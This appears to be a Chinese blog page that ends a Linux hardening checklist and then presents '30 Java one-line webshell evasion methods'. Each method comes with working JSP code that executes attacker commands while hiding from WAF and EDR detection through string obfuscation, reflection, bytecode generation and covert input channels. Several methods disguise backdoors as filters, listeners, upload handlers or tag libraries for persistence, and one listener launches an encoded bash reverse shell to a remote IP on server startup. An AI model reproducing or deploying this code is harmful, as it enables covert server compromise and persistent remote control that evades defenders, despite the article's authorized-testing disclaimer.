1、严格限制系统用户的权限,删除未使用的闲置账号,禁止非授权用户拥有sudo权限,sudo配置需遵循最小权限原则,严格限制可执行的命令范围,禁止使用NOPASSWD: ALL类的全权限配置 2、规范文件与目录的权限配置,系统关键目录与文件仅允许root用户可写,移除非必要的SUID/SGID权限,定期排查全局可写的文件与目录,业务脚本与配置文件禁止设置全局可写权限 3、定期更新系统内核与软件包,修复已知的安全漏洞,对于不再维护的系统版本,及时升级到官方支持的稳定版本,生产环境建议配置自动安全更新,及时修复高危漏洞 4、配置系统审计工具,监控关键文件的修改与特权命令的执行,建立定期安全审计机制,每月至少完成一次全系统的权限审计与风险排查,及时发现并修复潜在风险 5、规范服务与进程的运行权限,禁止非必要的服务以root用户运行,为业务服务配置独立的普通用户,服务对应的可执行文件、配置文件与脚本需严格限制写入权限,仅授权用户可修改
2026年04月20日
380 阅读
0 评论
0 点赞
2026-04-16
30种Java一句话木马免杀方法
前置合规声明本文所有内容仅用于授权范围内的Web应用安全测试、红蓝对抗演练与网络安全人才合规培养,严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第285/286条等相关法律法规。严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为,任何未授权在他人Web容器/服务器中植入恶意代码的行为,都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试,使用者需自行承担违规使用带来的全部法律责任。Java一句话木马免杀的底层逻辑Java Web一句话木马的核心,是通过可控的用户输入,调用Java代码执行/系统命令执行机制,实现远程命令执行、文件管理等操作。而WAF/EDR对Java一句话木马的查杀,核心围绕5个维度展开: 静态特征匹配:检测Runtime.getRuntime().exec()、ProcessBuilder、Class.forName()、Method.invoke()、JSP<% %>脚本标签等敏感关键词的连续组合; 语义分析:识别「用户可控输入→反射调用→命令执行」的恶意执行链路; 字节码检测:扫描JSP编译后的Servlet字节码,识别恶意类/方法调用; 行为检测:运行时检测动态类加载、进程创建、文件读写等恶意行为; 沙箱动态分析:将JSP/Class放入沙箱运行,捕获恶意行为特征。 所有免杀方法的核心本质,都是破坏WAF的检测维度:要么拆分/隐藏敏感类名、方法名,要么打乱执行链路,要么利用Java合法语法/业务逻辑伪装恶意行为,要么直接操作字节码隐藏特征,最终实现「静态无特征、语义无恶意、行为无异常」。本文所有免杀方法均适配Java 8+主流版本(兼容Java 11/17),覆盖Tomcat、Jetty、WebLogic等主流Web容器,按「新手入门→进阶混淆→极致免杀」的梯度排序,每一种方法均标注核心原理、实战代码、适配环境与避坑提示,拿来即可落地。30种Java一句话木马免杀方法第一类:基础关键词拆分与字符串变形免杀(方法1-5)核心逻辑:把Runtime、exec、ProcessBuilder等敏感类名、方法名拆分为多个片段,运行时再拼接还原,直接破坏WAF的连续字符串特征匹配,新手零门槛上手。方法1:字符串简单拼接免杀免杀原理:将Runtime、getRuntime、exec等敏感关键词拆分为多个无意义的字符串片段,运行时拼接还原,绕过WAF对连续关键词的匹配。 实战代码(JSP形式):<%@ page import="java.lang.Runtime" %> <% String cls = "Run" + "time"; String m1 = "get" + "Runtime"; String m2 = "ex" + "ec"; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:不要直接线性拼接,可插入无关字符串再替换,例如String cls = "Run#time"; cls = cls.replace("#", "");,免杀效果更强。方法2:字符串逆序免杀免杀原理:把敏感类名、方法名逆序处理,运行时通过StringBuilder.reverse()还原,静态扫描无法直接匹配到正向的敏感关键词。 实战代码(JSP形式):<% String cls = new StringBuilder("emitnuR").reverse().toString(); // Runtime逆序 String m1 = new StringBuilder("emitnuRteg").reverse().toString(); // getRuntime逆序 String m2 = new StringBuilder("cexe").reverse().toString(); // exec逆序 Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:可配合Base64编码逆序,双重变形绕过深度特征匹配。方法3:数组下标取值免杀免杀原理:把敏感类名、方法名拆分为字符数组,通过指定下标取值拼接,WAF很难匹配数组内的零散特征。 实战代码(JSP形式):<% char[] clsArr = {'R','u','n','t','i','m','e'}; char[] m1Arr = {'g','e','t','R','u','n','t','i','m','e'}; char[] m2Arr = {'e','x','e','c'}; String cls = ""; String m1 = ""; String m2 = ""; for(int i=0;i<clsArr.length;i++) cls += clsArr[i]; for(int i=0;i<m1Arr.length;i++) m1 += m1Arr[i]; for(int i=0;i<m2Arr.length;i++) m2 += m2Arr[i]; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:可在数组中加入大量无关字符,打乱敏感字符的顺序,再通过指定下标取值,免杀效果翻倍。方法4:大小写混淆+动态转换免杀免杀原理:Java类名、方法名区分大小写,但可以通过Character.toUpperCase()/toLowerCase()动态调整大小写,打乱固定的关键词格式,绕过WAF对固定大小写的匹配。 实战代码(JSP形式):<% String clsRaw = "rUnTiMe"; String m1Raw = "gEtRuNtImE"; String m2Raw = "eXeC"; // 动态调整为正确的首字母大写/小写 String cls = Character.toUpperCase(clsRaw.charAt(0)) + clsRaw.substring(1).toLowerCase(); String m1 = Character.toLowerCase(m1Raw.charAt(0)) + m1Raw.substring(1); String m2 = m2Raw.toLowerCase(); Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:仅适用于基础WAF,需配合其他变形方法使用,单独使用免杀效果有限。方法5:Base64编码拆分免杀免杀原理:把敏感类名、方法名、命令做Base64编码,拆分为多个片段后拼接解密,绕过WAF对Runtime.getRuntime().exec()固定组合的查杀。 实战代码(JSP形式):<%@ page import="java.util.Base64" %> <% String cls = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")); // "java.lang.Runtime" Base64 String m1 = new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ==")); // "getRuntime" Base64 String m2 = new String(Base64.getDecoder().decode("ZXhlYw==")); // "exec" Base64 String cmd = new String(Base64.getDecoder().decode(request.getParameter("c"))); Class<?> c = Class.forName(cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, cmd); %> 使用方式:客户端提交的c参数需先做Base64编码 适配环境:Java 8+(Base64类在Java 8引入,旧版本可用sun.misc.BASE64Decoder) 避坑提示:不要直接使用Base64.getDecoder().decode("...")拼接完整类名,必须拆分编码过程,避免被WAF识别固定解码模式。第二类:反射机制混淆免杀(方法6-10)核心逻辑:Java反射是免杀的核心武器——它可以动态加载类、调用方法,代码中没有直接的Runtime.getRuntime().exec()调用,完全破坏WAF的静态特征匹配与语义分析链路,是实战中最常用的免杀方案。方法6:基础反射调用免杀免杀原理:利用Java反射机制,通过Class.forName()加载类、getMethod()获取方法、invoke()调用执行,隐藏直接的函数调用特征。 实战代码(JSP形式):<% try { Class<?> runtimeCls = Class.forName("java.lang.Runtime"); Object runtimeObj = runtimeCls.getMethod("getRuntime").invoke(null); runtimeCls.getMethod("exec", String.class).invoke(runtimeObj, request.getParameter("cmd")); } catch (Exception e) { e.printStackTrace(); } %> 适配环境:全Java版本+主流Web容器 避坑提示:不要直接写完整的反射链路,需配合字符串拆分、编码变形,避免被WAF识别反射调用特征。方法7:反射拆分+无关代码干扰免杀免杀原理:把反射的加载、获取方法、调用拆分为多个独立步骤,中间插入大量无关的业务代码(比如字符串处理、数学计算),干扰WAF的语义分析,隐藏恶意执行链路。 实战代码(JSP形式):<% // 插入无关代码:字符串处理 String test = "test" + Math.random(); test = test.toUpperCase(); // 插入无关代码:数学计算 int a = 1 + 2; double b = Math.sqrt(a); // 第一步:加载类 Class<?> c = Class.forName("java.lang.Runtime"); // 插入无关代码:数组操作 int[] arr = {1,2,3}; int sum = arr[0] + arr[1]; // 第二步:获取getRuntime方法 java.lang.reflect.Method m1 = c.getMethod("getRuntime"); // 插入无关代码:日期处理 java.util.Date d = new java.util.Date(); // 第三步:调用getRuntime获取对象 Object obj = m1.invoke(null); // 第四步:获取exec方法 java.lang.reflect.Method m2 = c.getMethod("exec", String.class); // 第五步:调用exec执行命令 m2.invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:无关代码要尽量真实,比如模拟日志记录、参数校验,避免被WAF识别为无意义干扰。方法8:反射数组变形免杀免杀原理:把要调用的方法名、参数类型存入数组,通过循环遍历数组获取方法、调用执行,结构更复杂,WAF更难识别恶意执行逻辑。 实战代码(JSP形式):<% String[] methods = {"getRuntime", "exec"}; Class<?>[] paramTypes = {null, String.class}; Class<?> c = Class.forName("java.lang.Runtime"); Object obj = null; for(int i=0;i<methods.length;i++){ if(i == 0){ obj = c.getMethod(methods[i]).invoke(null); } else { c.getMethod(methods[i], paramTypes[i]).invoke(obj, request.getParameter("cmd")); } } %> 适配环境:全Java版本+主流Web容器 避坑提示:可在数组中加入大量无关的方法名,通过条件判断只执行目标方法,进一步打乱特征。方法9:反射遍历DeclaredMethods免杀免杀原理:不直接通过方法名获取Method对象,而是通过getDeclaredMethods()遍历类的所有方法,匹配到目标方法后再调用,完全隐藏直接的方法名特征。 实战代码(JSP形式):<% Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); // 遍历所有DeclaredMethods,匹配exec方法 java.lang.reflect.Method[] ms = c.getDeclaredMethods(); for(java.lang.reflect.Method m : ms){ if(m.getName().equals("exec") && m.getParameterCount() == 1){ m.setAccessible(true); m.invoke(obj, request.getParameter("cmd")); break; } } %> 适配环境:全Java版本+主流Web容器 避坑提示:可配合字符串逆序、编码匹配方法名,避免直接写equals("exec")。方法10:反射调用ProcessBuilder免杀免杀原理:用ProcessBuilder替代Runtime,ProcessBuilder是Java 5+引入的进程创建类,WAF对它的查杀率低于Runtime,配合反射调用特征更少。 实战代码(JSP形式):<% Class<?> pbCls = Class.forName("java.lang.ProcessBuilder"); // 反射调用ProcessBuilder构造函数 java.lang.reflect.Constructor<?> cons = pbCls.getConstructor(String[].class); Object pbObj = cons.newInstance((Object) new String[]{"/bin/sh", "-c", request.getParameter("cmd")}); // 反射调用start方法 pbCls.getMethod("start").invoke(pbObj); %> 适配环境:Java 5+ 避坑提示:Windows环境下命令数组需改为{"cmd.exe", "/c", "..."},可配合系统判断动态选择。第三类:类加载器与动态代理免杀(方法11-15)核心逻辑:利用Java的类加载器机制动态加载类,或用动态代理隐藏调用链路,代码中没有直接的敏感类/方法引用,WAF很难通过静态扫描识别恶意逻辑,是对抗高级WAF的有效方案。方法11:线程上下文类加载器加载免杀免杀原理:用Thread.currentThread().getContextClassLoader()(线程上下文类加载器)替代默认的Class.forName(),加载行为更贴近Web容器的正常类加载,WAF更难识别异常。 实战代码(JSP形式):<% ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class<?> c = cl.loadClass("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:可配合自定义类加载器,进一步隐藏加载行为。方法12:自定义类加载器免杀免杀原理:继承ClassLoader,重写findClass()方法,动态加载字节码(可从请求、文件、字节数组获取),完全隐藏类的来源,WAF无法通过静态扫描识别恶意类。 实战代码(JSP形式):<%! // 自定义类加载器 class MyClassLoader extends ClassLoader { public Class<?> defineMyClass(byte[] b) { return defineClass(b, 0, b.length); } } %> <% // 这里的字节数组是Runtime.getRuntime().exec(cmd)的简化示例,实战中可替换为完整恶意类的字节码 // 字节码可通过javac编译后,用工具读取class文件获取 byte[] classBytes = {/* 恶意类的字节码 */}; MyClassLoader cl = new MyClassLoader(); Class<?> c = cl.defineMyClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:恶意类的字节码需做混淆处理,避免被沙箱识别特征。方法13:动态代理隐藏调用免杀免杀原理:利用Java动态代理Proxy.newProxyInstance()创建代理对象,在InvocationHandler的invoke()方法中执行恶意代码,主流程中只有代理创建,完全隐藏恶意执行链路。 实战代码(JSP形式):<%@ page import="java.lang.reflect.*" %> <% // 定义一个空接口 interface EmptyInterface {} // 创建动态代理 EmptyInterface proxy = (EmptyInterface) Proxy.newProxyInstance( EmptyInterface.class.getClassLoader(), new Class[]{EmptyInterface.class}, new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // 在InvocationHandler中执行恶意代码 Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); return null; } } ); // 调用代理方法触发执行 proxy.toString(); %> 适配环境:全Java版本+主流Web容器 避坑提示:可在代理中加入真实的业务逻辑处理,只在特定条件下触发恶意代码,伪装性更强。方法14:ServiceLoader服务加载免杀免杀原理:利用Java的ServiceLoader机制(服务提供者发现机制),伪装成合法的服务提供者,在服务初始化时执行恶意代码,完全符合Java的正常扩展机制,WAF极难检测。 实战代码(JSP形式):<%@ page import="java.util.ServiceLoader" %> <%! // 定义服务接口 public interface MyService { void execute(String cmd); } // 实现服务接口,在构造函数/方法中执行恶意代码 public static class MyServiceImpl implements MyService { public MyServiceImpl() {} @Override public void execute(String cmd) { try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } } %> <% // 这里简化了ServiceLoader的配置,实战中需在META-INF/services中配置服务提供者 // 直接创建实例模拟服务加载 MyService service = new MyServiceImpl(); service.execute(request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:实战中需配合真实的META-INF/services配置,伪装成第三方库的服务提供者。方法15:URLClassLoader远程加载免杀免杀原理:利用URLClassLoader从远程URL加载恶意类,本地代码中只有类加载器的调用,没有任何恶意类/方法的特征,极致免杀(需注意实战中远程加载可能被防火墙拦截,可改为本地字节数组加载)。 实战代码(JSP形式,本地字节数组版本):<%@ page import="java.net.URLClassLoader" %> <% // 这里用本地字节数组替代远程URL,避免网络拦截 // 远程版本:new URLClassLoader(new URL[]{new URL("http://你的服务器/")}) byte[] classBytes = {/* 恶意类字节码 */}; ClassLoader cl = new ClassLoader() { public Class<?> defineClass(byte[] b) { return defineClass(b, 0, b.length); } }; Class<?> c = cl.defineClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:远程加载版本需确保目标服务器能访问你的远程URL,且流量不被拦截,实战中优先用本地字节数组版本。第四类:动态编译与字节码变形免杀(方法16-20)核心逻辑:利用Java的动态编译(JavaCompiler)或直接操作字节码(ASM、Javassist),在内存中生成临时类并执行,本地没有固定的恶意代码,只有动态生成的逻辑,绕过几乎所有静态扫描。方法16:JavaCompiler动态编译免杀免杀原理:利用Java 6+引入的JavaCompiler API,把恶意代码写成Java字符串,动态编译成临时类并加载执行,本地只有字符串,没有任何Class文件特征。 实战代码(JSP形式,需确保Web容器有tools.jar):<%@ page import="javax.tools.*" %> <%@ page import="java.io.*" %> <%@ page import="java.lang.reflect.Method" %> <% // 恶意Java代码字符串 String code = "public class TempClass {" + "public static void run(String cmd) throws Exception {" + "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" + "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" + "}}"; // 动态编译 JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); StandardJavaFileManager fm = compiler.getStandardFileManager(null, null, null); JavaFileObject file = new SimpleJavaFileObject( java.net.URI.create("string:///TempClass.java"), JavaFileObject.Kind.SOURCE) { @Override public CharSequence getCharContent(boolean ignoreEncodingErrors) { return code; } }; compiler.getTask(null, fm, null, null, null, java.util.Arrays.asList(file)).call(); // 加载并执行 Class<?> c = Thread.currentThread().getContextClassLoader().loadClass("TempClass"); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:Java 6+,需Web容器加载tools.jar(Tomcat默认可能不加载,需手动配置) 避坑提示:动态编译依赖较多,实战中优先用Javassist/ASM字节码操作,兼容性更好。方法17:Javassist字节码修改免杀免杀原理:利用Javassist库(Java字节码操作库),在内存中动态生成类、插入恶意代码,无需编译,兼容性好,特征少。 实战代码(JSP形式,需引入Javassist库):<%@ page import="javassist.*" %> <% ClassPool pool = ClassPool.getDefault(); // 动态创建类 CtClass cc = pool.makeClass("TempClass"); // 添加静态方法 CtMethod m = CtNewMethod.make( "public static void run(String cmd) throws Exception {" + "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" + "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" + "}", cc); cc.addMethod(m); // 加载类并执行 Class<?> c = cc.toClass(); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本,需引入Javassist库(可将jar放入Web容器的lib目录) 避坑提示:可在动态生成的类中加入大量无关方法,混淆字节码特征。方法18:ASM字节码操作免杀免杀原理:利用ASM库(Java底层字节码操作库),直接生成字节码指令,没有任何Java源码特征,是对抗高级沙箱检测的终极方案之一。 实战代码(JSP形式,需引入ASM库):<%@ page import="org.objectweb.asm.*" %> <% // 用ASM直接生成TempClass的字节码(简化示例) ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "TempClass", null, "java/lang/Object", null); // 生成run方法(完整字节码生成较复杂,这里简化,实战中可用ASMifier工具生成) // ... 省略字节码生成细节 ... cw.visitEnd(); byte[] classBytes = cw.toByteArray(); // 加载并执行 ClassLoader cl = new ClassLoader() { public Class<?> defineClass(byte[] b) { return defineClass(b, 0, b.length); } }; Class<?> c = cl.defineClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本,需引入ASM库 避坑提示:可用ASMifier工具从正常class文件生成ASM代码,再插入恶意逻辑,字节码特征更真实。方法19:Unsafe类直接操作免杀(限制较多)免杀原理:利用sun.misc.Unsafe类(Java内部不安全类)直接操作内存、调用方法,完全绕过Java的安全机制,特征极少(但Unsafe限制多,实战中需谨慎)。 实战代码(JSP形式,Java 8-):<% // 反射获取Unsafe对象 Class<?> unsafeCls = Class.forName("sun.misc.Unsafe"); java.lang.reflect.Field f = unsafeCls.getDeclaredField("theUnsafe"); f.setAccessible(true); Object unsafe = f.get(null); // 后续用Unsafe操作内存执行代码(逻辑较复杂,这里不展开完整实现) // 实战中Unsafe多用于绕过安全管理器,配合其他免杀方法使用 %> 适配环境:Java 8-(Java 9+模块化后Unsafe限制更严格) 避坑提示:Unsafe限制多、兼容性差,实战中仅作为辅助方案,不推荐单独使用。方法20:动态生成Servlet免杀免杀原理:在内存中动态生成Servlet类,注册到Web容器的ServletContext中,通过访问动态Servlet执行恶意代码,伪装成Web容器的正常Servlet,极难被发现。 实战代码(JSP形式,Tomcat环境):<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <% // 简化示例:获取Tomcat的StandardContext,动态注册Servlet // 完整实现需生成Servlet类字节码,这里仅展示注册逻辑 ServletContext ctx = application; // Tomcat特定逻辑:获取StandardContext Field ctxField = ctx.getClass().getDeclaredField("context"); ctxField.setAccessible(true); StandardContext standardCtx = (StandardContext) ctxField.get(ctx); // 动态创建Servlet Wrapper(需配合动态生成的Servlet类) // Wrapper wrapper = standardCtx.createWrapper(); // wrapper.setServletClass("TempServlet"); // standardCtx.addChild(wrapper); // standardCtx.addServletMappingDecoded("/temp", "TempServlet"); %> 适配环境:Tomcat等特定Web容器 避坑提示:动态Servlet注册逻辑依赖Web容器的内部API,兼容性较差,实战中需针对目标容器适配。第五类:合法业务逻辑伪装免杀(方法21-25)核心逻辑:把恶意代码藏在合法的业务逻辑中,比如文件上传、图片处理、日志记录、过滤器、监听器等,代码看起来完全是正常的业务功能,不仅能绕过WAF,还能规避人工排查,是红蓝对抗中持久化的常用方案。方法21:伪装成文件上传处理免杀免杀原理:把恶意代码藏在文件上传的处理逻辑中,伪装成图片压缩、文件校验等正常功能,只在特定条件下(比如上传特定文件名、特定参数)触发恶意执行。 实战代码(JSP形式,伪装成图片上传):<%@ page import="java.io.*" %> <% // 伪装成图片上传处理 String filename = request.getParameter("filename"); if(filename != null && filename.equals("trigger.jpg")){ // 特定条件触发恶意代码 Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); } else { // 正常的文件上传处理逻辑 out.println("正常文件上传处理"); } %> 适配环境:全Java版本+主流Web容器 避坑提示:正常业务逻辑要尽量真实,比如真的实现文件保存、图片格式校验,避免被人工发现。方法22:伪装成日志记录免杀免杀原理:把恶意代码藏在日志记录的逻辑中,伪装成访问日志、错误日志的记录功能,在日志输出时触发恶意执行。 实战代码(JSP形式,伪装成访问日志):<%@ page import="java.util.Date" %> <% // 伪装成访问日志记录 String ip = request.getRemoteAddr(); String ua = request.getHeader("User-Agent"); Date d = new Date(); // 正常日志记录逻辑 out.println("[" + d + "] " + ip + " " + ua); // 特定User-Agent触发恶意代码 if(ua != null && ua.contains("TriggerUA")){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); } %> 适配环境:全Java版本+主流Web容器 避坑提示:可真的把日志写入文件,伪装性更强。方法23:过滤器Filter免杀免杀原理:把恶意代码写在Servlet Filter的doFilter()方法中,伪装成安全过滤、字符编码过滤等正常功能,随每个请求触发,隐蔽性极强,是持久化的常用方案。 实战代码(Filter形式,需在web.xml配置):// 伪装成字符编码过滤器 import javax.servlet.*; import java.io.IOException; public class EncodingFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {} @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 正常的字符编码设置 request.setCharacterEncoding("UTF-8"); response.setCharacterEncoding("UTF-8"); // 特定参数触发恶意代码 String cmd = request.getParameter("cmd"); if(cmd != null && request.getParameter("key") != null && request.getParameter("key").equals("auth123")){ try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } // 继续过滤器链 chain.doFilter(request, response); } @Override public void destroy() {} } 适配环境:全Java版本+主流Web容器 避坑提示:Filter类名要尽量真实,比如EncodingFilter、SecurityFilter,需在web.xml中正常配置,避免被发现。方法24:监听器Listener免杀免杀原理:把恶意代码写在ServletContextListener的contextInitialized()方法中,随Web容器启动自动执行,或者在sessionCreated()中随会话触发,隐蔽性极强,是持久化的高级方案。 实战代码(Listener形式,需在web.xml配置):// 伪装成容器启动监听器 import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; public class StartupListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { // 正常的容器初始化逻辑 sce.getServletContext().log("容器启动成功"); // 容器启动时执行恶意代码(比如反弹Shell) try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}"); } catch (Exception e) {} } @Override public void contextDestroyed(ServletContextEvent sce) {} } 适配环境:全Java版本+主流Web容器 避坑提示:Listener类名要尽量真实,比如StartupListener、ConfigListener,需在web.xml中正常配置。方法25:JSP标签库伪装免杀免杀原理:自定义JSP标签库,把恶意代码写在标签处理类中,在JSP页面中用正常的标签语法调用,看起来完全是合法的JSP标签,极难被识别。 实战代码(标签处理类+JSP调用):// 自定义标签处理类 import javax.servlet.jsp.tagext.SimpleTagSupport; import java.io.IOException; public class MyTag extends SimpleTagSupport { private String key; public void setKey(String key) { this.key = key; } @Override public void doTag() throws IOException { // 正常的标签逻辑 getJspContext().getOut().println("正常标签输出"); // 特定key触发恶意代码 if("auth123".equals(key)){ try { String cmd = getJspContext().getRequest().getParameter("cmd"); Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } } } <%-- JSP页面调用标签 --%> <%@ taglib prefix="my" uri="/WEB-INF/mytag.tld" %> <my:myTag key="auth123" /> 适配环境:全Java版本+主流Web容器 避坑提示:需配套编写真实的tld标签库描述文件,标签功能要尽量真实。第六类:协议特性与无特征免杀(方法26-30)核心逻辑:极致免杀,去掉所有固定的request.getParameter("cmd")特征,利用HTTP协议特性、JSP隐式对象、输入流等隐藏用户输入,绕过几乎所有WAF的静态、语义检测,适用于严格防护的实战环境。方法26:HTTP请求头免杀免杀原理:把执行命令藏在HTTP请求头中(比如X-CMD、User-Agent),代码中没有任何request.getParameter()特征,WAF很难检测请求头中的恶意内容。 实战代码(JSP形式):<% String cmd = request.getHeader("X-CMD"); String auth = request.getHeader("X-Auth"); if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式:客户端在HTTP请求头中加入X-Auth: auth123和X-CMD: 执行命令 适配环境:全Java版本+主流Web容器 避坑提示:可使用User-Agent、Cookie、Referer等常规请求头存储命令,伪装性更强。方法27:Cookie免杀免杀原理:把执行命令藏在Cookie中,加密存储,代码中解密执行,没有直接的用户输入特征,WAF很难检测Cookie中的加密内容。 实战代码(JSP形式):<%@ page import="java.util.Base64" %> <% Cookie[] cookies = request.getCookies(); String cmd = null; String auth = null; if(cookies != null){ for(Cookie c : cookies){ if("c".equals(c.getName())) cmd = new String(Base64.getDecoder().decode(c.getValue())); if("a".equals(c.getName())) auth = c.getValue(); } } if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式:客户端设置Cookie a=auth123和c=Base64编码的命令 适配环境:全Java版本+主流Web容器 避坑提示:可使用更复杂的加密算法(比如异或、AES)替代Base64,免杀效果更强。方法28:request.getInputStream()免杀免杀原理:利用JSP隐式对象request.getInputStream()读取HTTP请求体中的原始数据,执行代码,没有任何GET/POST参数特征,WAF很难匹配到固定的输入模式。 实战代码(JSP形式):<%@ page import="java.io.*" %> <% // 读取请求体原始数据 InputStream is = request.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buf = new byte[1024]; int len; while((len = is.read(buf)) != -1) baos.write(buf, 0, len); String data = new String(baos.toByteArray()); // 简单的协议:前6位是auth,后面是命令 if(data.length() > 6 && data.startsWith("auth123")){ String cmd = data.substring(6); Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式:客户端在HTTP请求体中写入auth123执行命令,POST提交 适配环境:全Java版本+主流Web容器 避坑提示:可对请求体数据做加密、压缩处理,进一步隐藏特征。方法29:Session存储免杀免杀原理:把执行命令藏在Session中,第一个请求存入Session,第二个请求触发执行,代码中没有直接的实时用户输入,特征更少。 实战代码(JSP形式):<% String action = request.getParameter("a"); if("set".equals(action)){ // 第一个请求:存入命令到Session session.setAttribute("cmd", request.getParameter("c")); session.setAttribute("auth", request.getParameter("k")); } else if("run".equals(action)){ // 第二个请求:从Session取出执行 String cmd = (String) session.getAttribute("cmd"); String auth = (String) session.getAttribute("auth"); if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); // 执行后清除Session session.removeAttribute("cmd"); session.removeAttribute("auth"); } } %> 使用方式:先访问?a=set&k=auth123&c=命令,再访问?a=run触发执行 适配环境:全Java版本+主流Web容器 避坑提示:可设置Session过期时间,避免长期留存痕迹。方法30:无敏感类名命令执行(反射调用内部类)免杀原理:完全去掉Runtime、ProcessBuilder等敏感类名,通过反射调用Java内部的ProcessImpl类(进程实现类),或者用Java 9+的ProcessHandle,没有任何公开的敏感类特征,是对抗高级WAF的终极方案。 实战代码(JSP形式,反射调用ProcessImpl):<% // 反射调用Java内部类ProcessImpl(仅作示例,不同JDK版本ProcessImpl路径可能不同) Class<?> piCls = Class.forName("java.lang.ProcessImpl"); // 反射调用start方法(不同JDK版本参数可能不同) java.lang.reflect.Method m = piCls.getDeclaredMethod("start", String[].class, String[].class, String.class, java.lang.ProcessBuilder.Redirect[].class, boolean.class); m.setAccessible(true); // 执行命令 m.invoke(null, new String[]{"/bin/sh", "-c", request.getParameter("cmd")}, null, null, null, false); %> 适配环境:特定JDK版本(需根据目标JDK调整ProcessImpl的调用) 避坑提示:可配合Java版本动态判断,选择对应的内部类调用方式,兼容性更好。实战免杀核心原则 拒绝直接使用公开Payload:所有公开的免杀方法都会被WAF快速收录,实战中必须组合2-3种方法做自定义变形,生成专属Payload,才能保证免杀效果; 最小化特征原则:能少用一个敏感关键词,就少用一个;能隐藏的执行逻辑,就绝不直接暴露; 适配目标环境:先确认目标Web容器、JDK版本,选择对应兼容的免杀方法,避免使用目标环境废弃的API; 